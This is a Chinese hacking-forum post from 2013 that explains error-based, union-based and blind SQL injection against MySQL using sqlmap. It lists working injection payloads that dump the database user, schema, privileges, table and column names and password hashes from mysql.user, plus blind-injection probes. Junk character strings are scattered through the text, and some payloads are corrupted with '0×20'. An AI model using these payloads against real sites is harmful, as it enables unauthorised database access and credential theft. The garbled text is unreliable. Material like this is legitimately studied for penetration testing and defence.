找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2100|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
) x6 G* w! i& }0 b# m" G! v: ?( o
* H6 Y" h7 t8 [& e+ |; F2 E这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表& o* `0 ^' a4 A7 |9 F+ l, T, I9 r

( M5 l4 d' M7 \% f& h# x分类标准        分类        备注
( F. T& q/ Q5 r, `! Y按字段类型        整型注入,字符型注入       
0 P* X# ~/ @4 e. G4 M+ F, R/ o按出现的位置        get注入,post注入,cookie注入,http header注入        0 a' Q+ ?! ?! v% p, i3 e: ~
然而高级注入是这样的1 b8 d" L4 M) {: q( J

8 k. q8 V; Y2 b0 S! b高级注入分类        条件+ Q  n( A3 N8 E1 B; ^; F
error-based sql        数据库的错误回显可以返回,存在数据库,表结构9 f  h6 r) ~" j3 T
union-based sql        能够使用union,存在数据库,表结构
6 s8 H' E4 c! J  ]4 e& v! S3 Wblind sql        存在注入
2 ]$ v) e/ \5 v' M! ^我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。. s' H6 d; s5 L
2 H; ^' O  F. V. w! d( u+ B
好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火# K/ l! G  I% L1 D! o, k7 I% }8 i

% q6 n7 N/ @& [' m附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。
4 k8 ^4 K6 d, R, q- {
2 W+ E9 [/ e8 m: Y3 k% J这里用mysql说明- h7 O8 }, n: Q$ B6 b

! X2 C( w1 i& s3 W- B) x2 J2 Ie注入坛子里很多了,请看戳我或者再戳我8 M4 b4 G$ e  U( {& u
! Y$ ^/ P) d# T: q2 x9 f# R& ?
u注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的0 ?: [3 T. u2 R" A& t7 L9 G1 z* p1 y

! w/ v; A& A; V2 _* m: [, M获取当前数据库用户名  C- R* I( l7 e/ J) \
0 |* ^7 {. |* [/ Q9 ~  w
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
& b* e: }3 `" xAST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL& z" ]9 @9 X* u2 a9 Z& q7 D5 }
L, NULL#
- {7 r8 e. a6 ^* V, j4 O& X* w0 C注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。
, ^) t, C! g' F( Z + j+ s2 j" G- Y5 B  n+ i
获取数据库名
' f% m; p7 F6 c( P. t 4 ~* n4 D( b: T2 N
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
4 N$ l# i% _+ C# i3 e# o" ?获取所有用户名- S! T  l) ~9 G- B5 ]. e1 W% R

/ W! [4 M; }7 y& }( e5 q8 FUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#, X. O4 x8 x1 g0 C
查看当前用户权限, L& z) v& D& X7 Z, n# J. m: K
% Q5 i9 J5 @- I4 J
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#6 e5 [  Y- M+ h5 A0 q% |! p( H
尝试获取密码,当然需要有能读mysql数据库的权限$ E6 ?0 w+ I* e+ N
6 r. y5 u3 \6 n' V
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#
/ o% Q7 l7 Y$ S  L获取表名,limit什么的自己搞啦
' _; ^& C' t  S. N7 m  |! H, f% m$ K   T; c' o& x1 D& T9 ?' n! B: R
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#' M+ T+ g6 A/ ^/ E0 c( V
获取字段名及其类型( y1 c3 f2 Z& h8 H  U3 b$ O
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#& Z+ o+ p) p; B

5 h( f; w/ D( w( h: wb注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。
- C8 ]) y2 Z0 a& y0 B# p
6 M. [# u9 M3 C+ P如:7 U9 r: K* z, K
获取当前用户名
; W5 x3 i. X6 d# t( q 6 x- z" d0 e0 o# l9 @! t
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
. `% K! A9 ^" N获取当前数据库
! o# t" Q2 W% X2 p: Q " y  g1 Q; i6 [% q' U  j
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
9 v/ v+ d1 E) I7 Y$ c0 A' C- L获取表名
' `1 s. v  r/ s, L' I6 K0 x
9 G* _3 V! W: r7 `: S3 i( D9 J5 |AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
/ V" c" M8 Q* G获取字段名及其类型和爆内容就不说了,改改上面的就可以了。/ l8 }/ i0 M; G; X2 L/ s
回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
: ]) w/ }1 w2 C1 p$ G3 A8 b爆表  p- Q, g; I$ ~; v. R' a

7 G+ J+ a8 l+ ^AND EXISTS(select * from table)6 W* j, t  y  G8 r# ]6 C" r& u
爆字段  t8 }% D0 C/ ]9 i  b& j
/ s. X' T4 N- R8 _* [
AND EXISTS(select pwd from table)% X9 d$ L" B5 i2 e
盲注的变化就比较多了,由于篇幅,只是举个例子而已。" t- g# s1 q% n( P7 U5 i0 C" W
: C* E9 b) g7 @) @" r, ^7 s
本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。
2 n, d2 @+ f; F) ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表